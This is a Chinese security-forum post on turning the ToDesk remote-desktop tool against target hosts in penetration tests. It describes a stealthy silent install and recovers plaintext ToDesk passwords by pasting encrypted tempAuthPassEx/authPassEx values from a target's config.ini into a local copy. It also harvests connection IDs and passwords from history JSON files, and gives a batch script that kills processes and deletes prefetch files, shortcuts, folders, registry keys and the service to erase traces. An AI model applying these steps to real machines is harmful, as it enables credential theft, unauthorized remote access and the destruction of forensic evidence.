安全矩阵

 找回密码
 立即注册
搜索
查看: 1624|回复: 0

ToDesk软件在渗透测试中的应用

[复制链接]

145

主题

192

帖子

817

积分

高级会员

Rank: 4

积分
817
发表于 2022-7-8 20:39:05 | 显示全部楼层 |阅读模式
ToDesk软件在渗透测试中的应用
之前我也分享过一篇"ToDesk软件在权限提升中的应用",记录的是在权限提升场景下的利用方式。

更多这类第三方远控软件的利用方式可参考之前发的系列文章,有向日葵、AnyDesk、TeamViewer等。

0x01 ToDesk简介
ToDesk是一款类似向日葵的远程控制软件,但比向日葵、TV和AD更为流畅和稳定,它同样具备着内网穿透、文件传输、云端同步和流量加密等功能。

有绿色精简版和全功能版两个版本,支持的系统有:
  1. <code class="hljs">Winodws/Linux/MacOS/Android/iOS</code>
复制代码



0x02 如何实现命令行静默安装?
全功能版在双击运行、命令行执行时都会出现UAC弹窗和安装界面,这样非常容易被管理员发现,那么有没有办法能够在命令下实现静默安装呢?
编辑

ToDesk文档中看到安装包ToDesk_Setup.exe的/S参数可以实现静默安装,但也会出现UAC弹窗,默认安装在以下目录中,安装完成后自动运行。
  1. <code class="hljs">C:\Program Files (x86)\ToDesk\</code>
复制代码


编辑

0x03 场景1:解密目标连接密码
运行ToDesk后会在默认安装目录下生成一个config.ini配置文件,存储的有设备代码、临时密码、安全密码以及登录用户和密码等重要敏感信息,但密码都经过ToDesk特有加密算法加密,所以不能通过解密得到明文密码。
  1. <code>[ConfigInfo]</code><code>localPort=35600</code><code>clientId=391***073</code><code>PrivateData=44492ab4e1ba3a207f0ed6ed08ebaee4688f35a3e4734c69140aabb51fe33ca8a046d8e494200fcdad17759e4aee4333ddaa63ee63289e277b</code><code>language=936</code><code>tempAuthPassEx=8d5e3b8d825e57297ea9ce36aca337cd0b592d54e26f00f311cd42207c2255d1b0a87595efd994d0efb658ce84494fa4814630817478</code><code>updatePassTime=20210701</code><code>authPassEx=874faa02bf500fb26bd91df9dd5af45ba7ed91568253f4cd04d6ca88c91d458707ad0879cd013dc0605ec63a3f60957e346e5a34af6a</code>
复制代码


编辑

既然ToDesk会将我们设置的安全密码进行加密,自然也就有解密了,否则密码将无法显示,所以完全可以利用ToDesk进行解密。当然,有能力的老哥也可以逆向加密算法来写解密程序。

实战测试中只需要找到目标主机ToDesk中的tempAuthPassEx临时密码或authPassEx安全密码,将它们覆盖到我们本地ToDesk中的tempAuthPassEx,重启ToDesk即可得到明文密码。
编辑

0x04 场景2:获取历史连接记录
ToDesk连接一台主机后会在默认安装目录下生成一个json格式文件,在已登录状态和未登录状态的文件命名方式不太一样,但内容基本都差不多。

未登录状态:
  1. <code class="hljs">C:\Program Files (x86)\ToDesk\userInfo.json</code>
复制代码


已登录状态:
  1. <code class="hljs">C:\Program Files (x86)\ToDesk\devlist_493***344@qq.com.json</code>
复制代码


编辑

这个文件主要用于存储历史连接记录,只需找到UserId连接ID和PassEx密码,然后利用以上方式将PassEx解密得到明文,最后再用目标主机ToDesk的连接ID和密码连接即可。
  1. {
  2.    "DeviceInfo" : [
  3.       {
  4.          "Height" : 723,
  5.          "LastPath" : "",
  6.          "PassEx" : "19f57e6b81c752cffd786df2ebfbd590237d51d5575377766e6f830170b9d5dff2e1751739bf05084dbe2af6e629b8c0a380e17ab4c315",
  7.          "PrivacyScreen" : 0,
  8.          "Quality" : 0,
  9.          "ResolutionX" : 0,
  10.          "ResolutionY" : 0,
  11.          "ScreenMode" : 0,
  12.          "UserId" : "391***073",
  13.          "Voice" : 0,
  14.          "Width" : 1368
  15.       }
  16.    ]
  17. }
复制代码


编辑

注:测试中发现使用同一个密码在tempAuthPassEx、authPassEx和历史连接记录里的PassEx密文都不一样,但是这几个密文又都可以用ToDesk来解密,而且明文还都是123456,搞不太明白。

0x05 可能需要清理的痕迹
这里我们必须要先结束或停止ToDesk_Service进程/服务,否则ToDesk.exe进程会在结束后自动运行。
  1. @echo off
  2. taskkill /f /im ToDesk_Lite.exe /im ToDesk_Service.exe /im ToDesk.exe
  3. del /s /q C:\Windows\Prefetch\TODESK*.pf
  4. del /s /q C:\Users\Public\Desktop\ToDesk.lnk
  5. del /s /q "%userprofile%\AppData\Roaming\Microsoft\Windows\Recent\*TODESK*.lnk"
  6. rmdir /s /q "C:\Program Files (x86)\ToDesk"
  7. rmdir /s /q "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\ToDesk"
  8. rmdir /s /q "%userprofile%\AppData\Local\ToDesk"
  9. rmdir /s /q "C:\WINDOWS\SysWOW64\config\systemprofile\AppData\Local\ToDesk"
  10. reg delete "HKLM\SOFTWARE\ToDesk" /f
  11. reg delete "HKLM\SYSTEM\CurrentControlSet\Services\ToDesk_Service" /f
  12. reg delete "HKLM\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\ToDesk" /f
  13. sc delete ToDesk_Service
  14. [...SNIP...]
复制代码




回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-3-29 14:06 , Processed in 0.014148 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表